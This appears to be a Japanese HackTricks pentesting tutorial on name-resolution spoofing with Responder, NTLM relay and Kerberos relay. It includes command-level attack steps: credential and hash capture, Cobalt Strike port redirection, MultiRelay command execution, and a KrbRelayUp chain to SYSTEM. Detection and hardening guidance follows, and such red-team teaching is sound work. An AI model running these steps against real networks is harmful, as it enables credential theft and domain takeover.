LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレー攻撃のスプーフィング

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ネットワークプロトコル

ローカルホスト解決プロトコル

  • LLMNR、NBT-NS、およびmDNS:
  • Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。
  • これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。
  • Responderは、これらのプロトコルを照会するホストに対して偽の応答を送信することでサービスを偽装するために使用できます。
  • Responderを使用したサービスの偽装に関する詳細情報はこちらで確認できます。

ウェブプロキシ自動検出プロトコル (WPAD)

  • WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。
  • 発見は、DHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。
  • ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。

プロトコルポイズニングのためのResponder

  • Responderは、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。
  • Kali Linuxにプリインストールされており、/etc/responder/Responder.confで設定可能です。
  • Responderは、キャプチャしたハッシュを画面に表示し、/usr/share/responder/logsディレクトリに保存します。
  • IPv4およびIPv6の両方をサポートしています。
  • Windows版のResponderはこちらで入手できます。

Responderの実行

  • デフォルト設定でResponderを実行するには: responder -I <Interface>
  • より攻撃的なプロービングを行うには(潜在的な副作用あり): responder -I <Interface> -P -r -v
  • NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にするための技術: responder -I <Interface> --lm --disable-ess
  • WPADの偽装を有効にするには: responder -I <Interface> --wpad
  • NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには: responder.py -I <interface> -Pv

Responderを使用したDHCPポイズニング

  • DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。
  • これは、ターゲットネットワークの構成に関する正確な知識を必要とします。
  • 攻撃を実行するには: ./Responder.py -I eth0 -Pdv
  • この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの中断を避けるために慎重な取り扱いが必要です。

Responderを使用した資格情報のキャプチャ

  • Responderは、上記のプロトコルを使用してサービスを偽装し、ユーザーが偽装されたサービスに対して認証を試みるときに資格情報(通常はNTLMv2チャレンジ/レスポンス)をキャプチャします。
  • NetNTLMv1にダウングレードしたり、ESSを無効にして資格情報のクラックを容易にする試みが行われることがあります。

これらの技術を使用する際は、法的かつ倫理的に行動し、適切な承認を得て、混乱や不正アクセスを避けることが重要です。

Inveigh

Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム用のツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、InveighおよびInveighZeroが主要なバージョンです。詳細なパラメータと指示はwikiで確認できます。

InveighはPowerShellを通じて操作できます:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

C# バイナリとして実行されるか:

bash
Inveigh.exe

NTLM Relay Attack

この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功すればシステムシェルを取得します。主な前提条件は以下の通りです:

  • 認証するユーザーは、リレーされたホストでローカル管理者アクセスを持っている必要があります。
  • SMB署名は無効にする必要があります。

445ポートの転送とトンネリング

直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。PortBenderのようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがドライバのロードに利用可能な場合に重要です。

PortBenderのセットアップとCobalt Strikeでの操作:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLMリレー攻撃のための他のツール

  • Metasploit: プロキシ、ローカルおよびリモートホストの詳細を設定します。
  • smbrelayx: SMBセッションをリレーし、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。
  • MultiRelay: 特定のユーザーまたはすべてのユーザーをリレーし、コマンドを実行したりハッシュをダンプするためのResponderスイートのツールです。

各ツールは、必要に応じてSOCKSプロキシを介して動作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。

MultiRelayの操作

MultiRelayは_/usr/share/responder/tools_ディレクトリから実行され、特定のIPまたはユーザーをターゲットにします。

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

これらのツールと技術は、さまざまなネットワーク環境でNTLMリレー攻撃を実施するための包括的なセットを形成します。

NTLMログインの強制

Windowsでは、特権アカウントが任意のマシンに認証するよう強制できる場合があります。方法を学ぶには、以下のページを参照してください:

Force NTLM Privileged Authentication

Kerberosリレー攻撃

Kerberosリレー攻撃は、あるサービスからAP-REQチケットを盗み、同じコンピュータアカウントキーを共有する別のサービスに再利用します(両方のSPNが同じ$マシンアカウントに存在するため)。これは、SPNのサービスクラスが異なっていても機能します(例:CIFS/LDAP/)。なぜなら、チケットを復号化するためのキーはマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列は署名の一部ではないからです。

NTLMリレーとは異なり、ホップは同じホストに制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、リソースベースの制約付き委任(RBCD)AD CS登録にチェーン接続し、NT AUTHORITY\SYSTEMを一度で取得できます。

この攻撃に関する詳細情報は以下を確認してください:

トークン目的リレーの関連性
TGT / AS-REQ ↔ REPKDCに対するユーザーの証明影響なし
サービスチケット / TGS-REQ ↔ REP一つのSPNにバウンド; SPN所有者のキーで暗号化アカウントを共有するSPNの場合は相互交換可能
AP-REQクライアントがサービスにTGSを送信私たちが盗むもの & 再生するもの
  • チケットはSPNを所有するアカウントのパスワード由来のキーで暗号化されています。
  • AP-REQ内のAuthenticatorには5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。
  • Windowsは、チケット内のSPN文字列がヒットしたサービスと一致するかどうかをほとんど確認しないため、CIFS/HOSTのチケットは通常LDAP/HOSTで正常に復号化されます。
    1. Kerberosをリレーするために必要な条件
  1. 共有キー: ソースとターゲットのSPNが同じコンピュータアカウントに属している(Windowsサーバーではデフォルト)。
  2. チャネル保護なし: SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。
  3. 認証を傍受または強制できる: LLMNR/NBNSポイズン、DNSスプーフ、PetitPotam / DFSCoerce RPC、偽のAuthIP、悪意のあるDCOMなど。
  4. チケットソースがすでに使用されていない: 実際のパケットが到達する前にレースに勝つか、完全にブロックする必要があります。そうでない場合、サーバーの再生キャッシュがイベント4649を発火します。
  5. 何らかの方法で通信のMitMを実行できる必要があります。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。

Kerberosリレー手順

  • 3.1 ホストの偵察
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 リレーリスナーを開始する

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUpKrbRelay → LDAP → RBCD → Rubeus → SCMバイパスを1つのバイナリにまとめています。

  • 3.3 Kerberos認証を強制する
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerceはDCにKerberos CIFS/DC01チケットを送信させます。

  • 3.4 AP-REQを中継する

KrbRelayはSMBからGSSブロブを抽出し、それをLDAPバインドに再パッケージ化してldap://DC01に転送します—同じキーがそれを復号化するため、認証は成功します。

  • 3.5 LDAPを悪用する ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

あなたは現在 NT AUTHORITY\SYSTEM を所有しています。

知っておくべきその他のパス

ベクタートリック重要性
AuthIP / IPSec偽のサーバーが任意のSPNを持つGSS-IDペイロードを送信; クライアントはあなたに直接AP-REQを構築サブネットを越えても機能; デフォルトでマシンクレデンシャル
DCOM / MSRPC悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる純粋なローカル特権昇格; ファイアウォールを回避
AD CS Web EnrollHTTP/CAにマシンチケットをリレーし、証明書を取得、その後PKINITでTGTを生成LDAP署名防御を回避
Shadow CredentialsmsDS-KeyCredentialLinkを書き込み、偽造された鍵ペアでPKINITコンピュータアカウントを追加する必要なし

トラブルシューティング

エラー意味修正
KRB_AP_ERR_MODIFIEDチケットキー ≠ ターゲットキーホスト/SPNが間違っている
KRB_AP_ERR_SKEW時計が5分以上のオフセット時間を同期するかw32tmを使用
LDAPバインド失敗署名が強制されているAD CSパスを使用するか署名を無効にする
イベント4649のスパムサービスが重複した認証子を検出元のパケットをブロックまたは競争

検出

  • 数秒以内に同じソースからのイベント4769の急増。
  • サービス上のイベント4649はリプレイが検出されたことを示す。
  • 127.0.0.1からのKerberosログオン(ローカルSCMへのリレー)は非常に疑わしい—KrbRelayUpドキュメントのSigmaルールでマッピング。
  • msDS-AllowedToActOnBehalfOfOtherIdentityまたはmsDS-KeyCredentialLink属性の変更を監視。

ハードニング

  1. すべてのサーバーでLDAPおよびSMB署名 + EPAを強制
  2. SPNを分割し、HTTPがCIFS/LDAPと同じアカウントにないようにする。
  3. 強制ベクターをパッチ(PetitPotam KB5005413、DFS、AuthIP)。
  4. **ms-DS-MachineAccountQuota = 0**を設定して不正なコンピュータの参加を防ぐ。
  5. イベント4649および予期しないループバックKerberosログオンにアラートを出す。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする